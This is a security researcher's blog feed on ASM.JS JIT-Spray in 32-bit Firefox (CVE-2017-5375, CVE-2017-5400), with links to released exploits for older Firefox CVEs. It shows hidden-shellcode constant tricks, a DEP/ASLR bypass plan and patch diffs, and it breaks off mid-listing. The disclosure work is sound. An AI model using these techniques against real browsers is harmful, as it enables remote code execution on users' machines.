<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[&#x03C1;]]></title>
  <link href="https://rh0dev.github.io//atom.xml" rel="self"/>
  <link href="https://rh0dev.github.io//"/>
  <updated>2018-03-14T22:24:32+01:00</updated>
  <id>https://rh0dev.github.io//</id>
  <author>
    <name><![CDATA[Rh0]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    
    <title type="html"><![CDATA[More on ASM.JS Payloads and Exploitation]]></title>
    <link href="https://rh0dev.github.io//blog/2018/more-on-asm-dot-js-payloads-and-exploitation/"/>
    
    <updated>2018-03-14T17:40:49+01:00</updated>
    <id>https://rh0dev.github.io//blog/2018/more-on-asm-dot-js-payloads-and-exploitation</id>
    
    <content type="html"><![CDATA[<p>At <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon 2018</a> I presented my already a bit dated ASM.JS JIT-Spray research.
You can find more information in
<a href="https://rh0dev.github.io/blog/2017/the-return-of-the-jit/" target="_blank">previous</a>
<a href="https://rh0dev.github.io/blog/2017/the-return-of-the-jit-part-2/" target="_blank">blogposts</a>.</p>

<p>Besides using arithmetic calculations and array elements, another interesting
technique to spray payloads is to use float values. Using these values as
payload bytes has the advantage that an attacker&rsquo;s shellcode resides continuous
in memory at run time, because the float values are next to each other located
in a constant pool. As the payload bytes are not interrupted by disturbing
opcodes emitted by the ASM.JS compiler, all eight bytes of a double float constant
are usable as payload.</p>

<p>If you are into (over)hyping and naming vulnerabilities you can call it: <a href="https://github.com/rh0dev/shellcode2asmjs/blob/master/out/msf_exec_cmd_float_pool.html"><strong><em>ConstantDesaster</em></strong></a></p>

<!-- more -->


<p>So finally, I release the remaining code including our shellcode2asmjs
<a href="https://github.com/rh0dev/shellcode2asmjs" target="_blank">(sc2asmjs.py)</a> tool
and exploits for <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-2819_Firefox_46.0.1_float_pool_spray.html" target="_blank">CVE-2016-2819</a> and
<a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-1960_Firefox_44.0.2_float_pool_spray.html" target="_blank">CVE-2016-1960</a>. An
exploit for <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-9079_Firefox_50.0.1_DEP_ASLR_Bypass.html" target="_blank">CVE-2016-9079</a> is already available for some time. Most likely,
sc2asmjs.py won&rsquo;t be maintained anymore, however, you can still generate ASM.JS
JIT-Spray payloads of different kinds and insert your favorite assembly or
binary <a href="https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom" target="_blank">Metasploit</a>
payload to exploit vulnerable Mozilla Firefox versions.</p>

<p>Some last words on CVE-2016-2819 and CVE-2016-1960: There is a very detailed <a
href="https://www.exploit-db.com/exploits/42484/"
target="_blank">public exploit</a> for CVE-2016-1960, which uses a bruteforce
approach (see
<a href="https://github.com/offensive-security/exploit-database/blob/master/exploits/windows/remote/42484.html#L969">explanation</a>).
However, after a bit of diving into the vulnerable code and patches
for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1270381" target="_blank">both</a>
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1246014" target="_blank">bugs</a>, it
was possible to change the inital crashing testcase to reach an easier to
exploit code path. The goal is to reach line 1102 where we get EIP
control when <span class="inlineCode"> node-&gt;release() </span> is called in <span class="inlineCode">nsHtml5TreeBuilder::pop()</span>:</p>

<figure class='code'><figcaption><span>firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:602</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="mi">602</span>  <span class="kt">void</span>
</span><span class='line'><span class="mi">603</span>  <span class="n">nsHtml5TreeBuilder</span><span class="o">::</span><span class="n">startTag</span><span class="p">(</span><span class="n">nsHtml5ElementName</span><span class="o">*</span> <span class="n">elementName</span><span class="p">,</span> <span class="n">nsHtml5HtmlAttributes</span><span class="o">*</span> <span class="n">attributes</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">selfClosing</span><span class="p">)</span>
</span><span class='line'><span class="mi">604</span>  <span class="p">{</span>
</span><span class='line'><span class="p">....</span>
</span><span class='line'><span class="mi">1092</span>     <span class="k">case</span> <span class="nl">NS_HTML5TREE_BUILDER_DD_OR_DT</span><span class="p">:</span> <span class="p">{</span>
</span><span class='line'><span class="mi">1093</span>       <span class="n">eltPos</span> <span class="o">=</span> <span class="n">currentPtr</span><span class="p">;</span>
</span><span class='line'><span class="mi">1094</span>       <span class="k">for</span> <span class="p">(;</span> <span class="p">;</span> <span class="p">)</span> <span class="p">{</span>
</span><span class='line'><span class="mi">1095</span>         <span class="n">nsHtml5StackNode</span><span class="o">*</span> <span class="n">node</span> <span class="o">=</span> <span class="n">stack</span><span class="p">[</span><span class="n">eltPos</span><span class="p">];</span>
</span><span class='line'><span class="mi">1096</span>         <span class="nf">if</span> <span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">getGroup</span><span class="p">()</span> <span class="o">==</span> <span class="n">group</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'><span class="p">....</span>
</span><span class='line'><span class="mi">1101</span>           <span class="k">while</span> <span class="p">(</span><span class="n">currentPtr</span> <span class="o">&gt;=</span> <span class="n">eltPos</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'><span class="mi">1102</span>             <span class="n">pop</span><span class="p">();</span>
</span><span class='line'><span class="mi">1103</span>           <span class="p">}</span>
</span><span class='line'><span class="mi">1104</span>           <span class="k">break</span><span class="p">;</span>
</span><span class='line'><span class="p">....</span>
</span><span class='line'><span class="mi">1107</span>         <span class="p">}</span>
</span><span class='line'><span class="mi">1108</span>         <span class="n">eltPos</span><span class="o">--</span><span class="p">;</span>
</span><span class='line'><span class="mi">1109</span>       <span class="p">}</span>
</span><span class='line'><span class="p">....</span>
</span><span class='line'><span class="mi">1113</span>       <span class="n">NS_HTML5_BREAK</span><span class="p">(</span><span class="n">starttagloop</span><span class="p">);</span>
</span><span class='line'><span class="mi">1114</span>     <span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>The code is equivalent for <em>firefox-46.0.1/parser/html/nsHtml5TreeBuilder.cpp</em>.
As <span class="inlineCode">group</span> is a constant on line 1096, we only need one exploit attempt to reach line 1102.
This can be achieved when changing the last element from
<span class="inlineCode">style</span> to <span class="inlineCode">dd</span>
(see <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-1960_Firefox_44.0.2_float_pool_spray.html#L80" target="_blank">modification</a>).
And, as we only need EIP control when using ASM.JS
JIT-Spray, exploitation becomes even more comfortable and easier.
For more information take a look at the <a href="https://github.com/rh0dev/slides/blob/master/OffensiveCon2018_From_Assembly_to_JavaScript_and_back.pdf" target="_blank">OffensiveCon 2018 slides</a>.</p>

<p>Enjoy! Let me know if you find any mistakes, feedback is welcome!</p>

<p><br>
Best,<br>
Rh0</p>
]]></content>
    
  </entry>
  
  <entry>
    
    <title type="html"><![CDATA[The Return of The JIT (Part 2)]]></title>
    <link href="https://rh0dev.github.io//blog/2017/the-return-of-the-jit-part-2/"/>
    
    <updated>2017-07-17T16:21:10+02:00</updated>
    <id>https://rh0dev.github.io//blog/2017/the-return-of-the-jit-part-2</id>
    
    <content type="html"><![CDATA[<p>In <a href="https://rh0dev.github.io/blog/2017/the-return-of-the-jit/">part 1</a>
I disclosed details about ASM.JS JIT-Spray in Mozilla Firefox <51 (32-bit) on Windows (<a href="https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5375" target="_blank">CVE-2017-5375</a>).
Before going into details of the patch and its bypass resulting in <a
href="https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5400"
target="_blank">CVE-2017-5400</a>, here are two more (maybe known) methods of hiding x86
code in ASM.JS constants in Firefox.</p>

<!-- more -->


<p></br></p>

<h2>Hide Instructions without Constant Folding</h2>

<p>TL;DR: A simple <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5400_targeted_ASM.JS_JIT-Spray/Payload_PoC_Firefox_51.0.1.html" target="_blank">PoC</a> demonstrates combining three-byte
payloads with two-byte payloads. If you want to skip this go to the <a href="#CVE-2017-5375_patch">patch for CVE-2017-5375</a> and its <a href="#CVE-2017-5375_bypass">bypass</a>.</p>

<p>As mentioned in <a href="https://rh0dev.github.io/blog/2017/the-return-of-the-jit/">part 1</a>, we can hide x86 instructions within ASM.JS constant assignments such as</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="nx">VAL</span> <span class="o">=</span> <span class="p">(</span><span class="nx">VAL</span> <span class="o">+</span> <span class="mh">0xA8909090</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span><span class="p">;</span>
</span><span class='line'><span class="nx">VAL</span> <span class="o">=</span> <span class="p">(</span><span class="nx">VAL</span> <span class="o">+</span> <span class="mh">0xA8909090</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure>


<p>However, constant folding can easily break our hidden NOPs. If a compiler folds
the constants it <em>might</em> emit one instruction, assigning directly  the result of the
addition with <strong>MOV EAX, 0x51212120</strong>. Hence, our code would be gone. An easy way to
prevent this is to use the <em>foreign function interface (ffi)</em> of ASM.JS.
Consider following module:</p>

<figure class='code'><figcaption><span>ASM.JS ffi call with five parameters</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="kd">function</span> <span class="nx">asm_js_module</span><span class="p">(</span><span class="nx">stdlib</span><span class="p">,</span> <span class="nx">ffi</span><span class="p">,</span> <span class="nx">heap</span><span class="p">){</span>
</span><span class='line'>    <span class="s1">&#39;use asm&#39;</span><span class="p">;</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">ffi_func</span> <span class="o">=</span> <span class="nx">ffi</span><span class="p">.</span><span class="nx">func</span>
</span><span class='line'>    <span class="kd">function</span> <span class="nx">payload_code</span><span class="p">(){</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span><span class='line'>        <span class="nx">val</span> <span class="o">=</span> <span class="nx">ffi_func</span><span class="p">(</span>
</span><span class='line'>            <span class="mh">0xa9909090</span><span class="o">|</span><span class="mi">0</span><span class="p">,</span>
</span><span class='line'>            <span class="mh">0xa9909090</span><span class="o">|</span><span class="mi">0</span><span class="p">,</span>
</span><span class='line'>            <span class="mh">0xa9909090</span><span class="o">|</span><span class="mi">0</span><span class="p">,</span>
</span><span class='line'>            <span class="mh">0xa9909090</span><span class="o">|</span><span class="mi">0</span><span class="p">,</span>
</span><span class='line'>            <span class="mh">0xa9909090</span><span class="o">|</span><span class="mi">0</span><span class="p">,</span>
</span><span class='line'>        <span class="p">...</span>
</span></code></pre></td></tr></table></div></figure>


<p>The corresponding x86 code prepares the five integer parameters (<strong>0xa9909090</strong>) for the function <span
class="inlineCode">ffi_func()</span> before calling it:</p>

<figure class='code'><figcaption><span>Native x86 code generated from ASM.JS using parameters for ffi</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>3f: c70424909090a9   mov     dword ptr [esp],0A9909090h
</span><span class='line'>46: c7442404909090a9 mov     dword ptr [esp+4],0A9909090h
</span><span class='line'>4e: c7442408909090a9 mov     dword ptr [esp+8],0A9909090h
</span><span class='line'>56: c744240c909090a9 mov     dword ptr [esp+0Ch],0A9909090h
</span><span class='line'>5e: c7442410909090a9 mov     dword ptr [esp+10h],0A9909090h</span></code></pre></td></tr></table></div></figure>


<p>Again, if we jump into the middle of the third instruction at offset 0x52,
we hit our injected code (NOP-sled):</p>

<figure class='code'><figcaption><span>Hidden NOPs within emitted x86 code</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>52: 90              nop
</span><span class='line'>53: 90              nop
</span><span class='line'>54: 90              nop
</span><span class='line'>55: a9c744240c      test    eax,0C2444C7h
</span><span class='line'>5a: 90              nop
</span><span class='line'>5b: 90              nop
</span><span class='line'>5c: 90              nop
</span><span class='line'>5d: a9c7442410      test    eax,102444C7h
</span><span class='line'>62: 90              nop</span></code></pre></td></tr></table></div></figure>


<p>This way, we can hide again three-byte long instructions within ASM.JS constants
without resynchronizing the original instruction stream during runtime.</p>

<p>But the space is
limited. The instruction
<span class="inlineCode">mov dword ptr [esp + <span style=color:#FF1111>0x7c</span>], <span style=color:#11FF11>0xa9909090</span></span>
is represented by <strong>c74424<span style=color:#FF1111>7c</span><span style=color:#11FF11>909090a9</span></strong>. If the stack offset is higher, another opcode is used with four-bytes offsets instead of one-byte offsets:
The instruction
<span class="inlineCode">mov dword ptr [esp + <span style=color:#FF1111>0x80</span>], <span style=color:#11FF11>0xa9909090</span></span>
becomes <strong>c78424<span style=color:#FF1111>80000000</span><span style=color:#11FF11>909090a9</span></strong> in order to keep the correct signedness.
Hence, we can use the above trick to only hide 0x80/4 x 3 = 0x60 payload bytes.</p>

<p>Nevertheless, we can use two bytes of an ASM.JS constant as payload bytes and the
two other bytes as a <em>relative short jump (ebXX)</em> to the next two payload bytes. This allows us to go beyond 0x80/4 = 32 parameters and 0x60 payload bytes. For
example, we use <strong>0x07eb9090</strong> as constants to hide two NOPs and a JMP:</p>

<figure class='code'><figcaption><span>Constants containing two payload bytes </span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>00: c78424800000009090eb07   mov dword [esp + 0x80], 0x07eb9090
</span><span class='line'>0b: c78424840000009090eb07   mov dword [esp + 0x84], 0x07eb9090
</span><span class='line'>16: c78424880000009090eb07   mov dword [esp + 0x88], 0x07eb9090</span></code></pre></td></tr></table></div></figure>


<p>When we start executing from offset 7, our two NOPs and the subsequent JMP is hit to get the
injected code running:</p>

<figure class='code'><figcaption><span>Two payload bytes connected with short jumps</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>07: 90       nop
</span><span class='line'>08: 90       nop
</span><span class='line'>09: eb07     jmp 0x12
</span><span class='line'>...
</span><span class='line'>12: 90       nop
</span><span class='line'>13: 90       nop
</span><span class='line'>14: eb07     jmp 0x1d
</span><span class='line'>...
</span><span class='line'>1d: 90       nop
</span><span class='line'>1e: 90       nop
</span><span class='line'>1f: eb07     jmp 0x28</span></code></pre></td></tr></table></div></figure>


<p>This is similar to the technique shown at <a href="https://erpscan.com/wp-content/uploads/2012/06/HITB-JIT-Spray-Attacks-and-Advanced-Shellcode.pdf" target="_blank">HITB in 2010</a>.
At most, two-byte long instructions are used. It is still enough to build a stage0
payload which resolves VirtualAlloc, allocates RWX memory, copies the stage1
shellcode to it, and jumps to it.</p>

<p><br>
<a name=CVE-2017-5375_patch></a></p>

<h2>The Fix of CVE-2017-5375</h2>

<p>Coming back to CVE-2017-5375.
The patch mostly consists of two major changes.</p>

<p>1) The addresses of code allocations are <a href="https://hg.mozilla.org/releases/mozilla-release/diff/ab1fd5b320a4/js/src/jit/ExecutableAllocatorWin.cpp">randomized</a> stronger:</p>

<figure class='code'><figcaption><span>Diff of js/src/jit/ExecutableAllocatorWin.cpp (50.1.0 vs. 51)</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
</pre></td><td class='code'><pre><code class='diff'><span class='line'><span class="gd">-js::jit::AllocateExecutableMemory(void* addr, size_t bytes, unsigned permissions, const char* tag,</span>
</span><span class='line'><span class="gi">+js::jit::AllocateExecutableMemory(size_t bytes, unsigned permissions, const char* tag,</span>
</span><span class='line'>                                   size_t pageSize)
</span><span class='line'> {
</span><span class='line'>     MOZ_ASSERT(bytes % pageSize == 0);
</span><span class='line'>
</span><span class='line'> #ifdef HAVE_64BIT_BUILD
</span><span class='line'>     if (sJitExceptionHandler)
</span><span class='line'>         bytes += pageSize;
</span><span class='line'> #endif
</span><span class='line'>
</span><span class='line'><span class="gd">-    void* p = VirtualAlloc(addr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);</span>
</span><span class='line'><span class="gd">-    if (!p)</span>
</span><span class='line'><span class="gd">-        return nullptr;</span>
</span><span class='line'><span class="gi">+    void* randomAddr = ComputeRandomAllocationAddress();</span>
</span><span class='line'><span class="gi">+</span>
</span><span class='line'><span class="gi">+    void* p = VirtualAlloc(randomAddr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);</span>
</span><span class='line'><span class="gi">+    if (!p) {</span>
</span><span class='line'><span class="gi">+        // Try again without randomAddr.</span>
</span><span class='line'><span class="gi">+        p = VirtualAlloc(nullptr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);</span>
</span><span class='line'><span class="gi">+        if (!p)</span>
</span><span class='line'><span class="gi">+            return nullptr;</span>
</span><span class='line'><span class="gi">+    }</span>
</span></code></pre></td></tr></table></div></figure>


<p>2) The amount of executable ASM.JS/WASM code per process was cut down to <a href="https://hg.mozilla.org/releases/mozilla-release/diff/21dab2e6926a/js/src/jit/ExecutableAllocator.cpp" target="_blank">128MB</a> on
32-bit:</p>

<figure class='code'><figcaption><span>Diff between js/src/jit/ExecutableAllocator.cpp (50.1.0 vs. 51)</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='diff'><span class='line'><span class="gi">+// Limit on the number of bytes of executable memory to prevent JIT spraying</span>
</span><span class='line'><span class="gi">+// attacks.</span>
</span><span class='line'><span class="gi">+#if JS_BITS_PER_WORD == 32</span>
</span><span class='line'><span class="gi">+static const size_t MaxCodeBytesPerProcess = 128 * 1024 * 1024;</span>
</span><span class='line'><span class="gi">+#else</span>
</span><span class='line'><span class="gi">+static const size_t MaxCodeBytesPerProcess = 512 * 1024 * 1024;</span>
</span><span class='line'><span class="gi">+#endif</span>
</span><span class='line'><span class="gi">+</span>
</span></code></pre></td></tr></table></div></figure>


<p>Shortly after the fix, the limit of 128MB was increased to <a
href="https://hg.mozilla.org/releases/mozilla-release/diff/3e2eddbfeaef/js/src/jit/ExecutableAllocator.cpp" target="_blank">160MB</a> in <a
href="https://ftp.mozilla.org/pub/firefox/releases/51.0.1/source/firefox-51.0.1.source.tar.xz" target="_blank">Firefox 51.0.1</a>.</p>

<p><br>
<a name=CVE-2017-5375_bypass></a></p>

<h2>The Bypass</h2>

<p>So far, so good. The first thing which caught my attention was the fallback code in
the first change:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='cpp'><span class='line'><span class="kt">void</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="n">randomAddr</span><span class="p">,</span> <span class="n">bytes</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">permissions</span><span class="p">);</span>
</span><span class='line'><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">p</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="c1">// Try again without randomAddr.</span>
</span><span class='line'>    <span class="n">p</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="k">nullptr</span><span class="p">,</span> <span class="n">bytes</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">permissions</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p>If <span class="inlineCode">VirtualAlloc()</span> fails on a specified <em>randomAddr</em>, then we are back in the
former &ldquo;unprotected&rdquo; code.</p>

<p>Additionally, I can allocate at most 160MB/64KB = 2560 ASM.JS modules, assuming that I
keep one module under 64KB.</p>

<p>So that&rsquo;s the plan:</p>

<ol>
<li>Occupy as many 64KB aligned addresses with unrelated non-executable memory. This
can be easily done with a Heap-Spray using typed arrays: This reduces the number of available 64KB base addresses.</li>
<li>Spray as many ASM.JS instances as possible. The fewer 64KB aligned addresses
are available, the more likely we will occupy a predictable address with our JIT code, due to the fallback code in <span class="inlineCode">AllocateExecutableMemory()</span>.</li>
<li>Release the memory allocated in (1) by triggering the garbage collector, as
we don&rsquo;t need it.</li>
</ol>


<p>And yes! This worked! A <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5400_targeted_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_51.0.1_dynamic.html" target="_blank">proof of concept</a>
demonstrates the issue.  Again, predictable addresses contained the injected,
JIT-sprayed code, and the only necessity to exploit a memory corruption bug is
to set EIP to that address (i.e., <strong>0x55550055</strong>). Although there&rsquo;s room
for improvement (e.g., being able to choose a very specific address), the mixture of Heap
and JIT-Spray was used to bypass DEP and ASLR, once again. This resulted in <a
href="https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5400"
target="_blank">CVE-2017-5400</a> and was fixed in Firefox 52.</p>

<p><br>
Best,<br>
Rh0</p>
]]></content>
    
  </entry>
  
  <entry>
    
    <title type="html"><![CDATA[The Return of The JIT (Part 1)]]></title>
    <link href="https://rh0dev.github.io//blog/2017/the-return-of-the-jit/"/>
    
    <updated>2017-07-13T17:54:28+02:00</updated>
    <id>https://rh0dev.github.io//blog/2017/the-return-of-the-jit</id>
    
    <content type="html"><![CDATA[<p>TL;DR: This is the story about <em>ASM.JS</em> JIT-Spray in Mozilla Firefox (x86 32-bit) on Windows tracked as
<a href="https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5375" target="_blank">CVE-2017-5375</a> and <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5400" target="_blank">CVE-2017-5400</a>. It allows to fully bypass DEP and ASLR.</p>

<p>I always liked the idea of JIT-Spray since the first time I saw it being used for
<a
href="https://dl.packetstormsecurity.net/papers/shellcode/Writing-JIT-Spray-Shellcode.pdf" target="_blank">Flash</a>
in 2010. Just to name a few, JIT-Spray has been used to exploit bugs in <a
href="https://www.exploit-db.com/exploits/14221" target="_blank">Apple Safari</a>, create <a
href="http://zhodiac.hispahack.com/my-stuff/security/Flash_Jit_InfoLeak_Gadgets.pdf" target="_blank">info leak gadgets in Flash</a>, attack various <a
href=https://www.nccgroup.trust/globalassets/resources/us/presentations/documents/attacking_clientside_jit_compilers_paper.pdf target="_blank">other client software</a>,
and has even been abusing <a href=https://sites.google.com/site/bingsunsec/WARPJIT/JIT%20Spraying%20Never%20Dies%20-%20Bypass%20CFG%20By%20Leveraging%20WARP%20Shader%20JIT%20Spraying.pdf target="_blank">Microsoft&rsquo;s WARP Shader JIT Engine</a></p>

<!-- more -->


<p>@asintsov wrote in 2010:</p>

<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">No JIT-SPRAY in Flash 10.1. Pages with  code are crypted )) But idea will never die, that i show on HITB in AMS)</p>&mdash; Alyosha Sintsov (@asintsov) <a href="https://twitter.com/asintsov/status/15947640318" target="_blank">June 11, 2010</a></blockquote>


<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Yes, the idea will never die, and from time to time JIT-Spray reappears&hellip;</p>

<p><br></p>

<h2>JIT-Spray</h2>

<p>It greatly simplifies exploiting a memory corruption bug such as an
use-after-free, because the attacker only needs to hijack the intruction pointer
and jump to JIT-Sprayed shellcode. There is no need to disclose code locations or
base addresses of DLLs, and there is no need for any code-reuse.</p>

<p>JIT-Spray is usually possible when:</p>

<ol>
<li>Machine code can be hidden within constants of a high-level language such as JavaScript: This bypasses DEP.</li>
<li>The attacker is able to force the JIT compiler to emit the constants into many execuable code regions whose addresses are predictable: This bypasses ASLR.</li>
</ol>


<p>For example to achieve (1), we can inject NOPS (0x90) in ASM.JS
code with:</p>

<figure class='code'><figcaption><span>Injecting NOPS with ASM.JS constants</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="nx">VAL</span> <span class="o">=</span> <span class="p">(</span><span class="nx">VAL</span> <span class="o">+</span> <span class="mh">0xA8909090</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span><span class="p">;</span>
</span><span class='line'><span class="nx">VAL</span> <span class="o">=</span> <span class="p">(</span><span class="nx">VAL</span> <span class="o">+</span> <span class="mh">0xA8909090</span><span class="p">)</span><span class="o">|</span><span class="mi">0</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Firefox&#8217; ASM.JS compiler generates the following x86 machine code:</p>

<figure class='code'><figcaption><span>Native x86 code generated from ASM.JS</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>00: 05909090A8    ADD EAX, 0xA8909090
</span><span class='line'>05: 05909090A8    ADD EAX, 0xA8909090</span></code></pre></td></tr></table></div></figure>


<p>When we jump into to offset 01 (the middle of the first instruction) we can
execute our hidden code:</p>

<figure class='code'><figcaption><span>Hidden instructions within emitted x86 code</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>01: 90    NOP
</span><span class='line'>02: 90    NOP
</span><span class='line'>03: 90    NOP
</span><span class='line'>04: A805  TEST AL, 05
</span><span class='line'>06: 90    NOP
</span><span class='line'>07: 90    NOP
</span><span class='line'>08: 90    NOP
</span><span class='line'>09: A8...</span></code></pre></td></tr></table></div></figure>


<p>Thus, in our four-byte constants, we have three bytes to hide our code and
one byte (0xA8) to wrap the <strong>ADD EAX, &hellip;</strong> instruction into the NOP-like
instruction <strong>TEST AL, 05</strong>.</p>

<p>To achieve condition (2), i.e., to create many executable regions
containing our code we request the ASM.JS module many times:</p>

<figure class='code'><figcaption><span>ASM.JS JIT-Sprayer</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
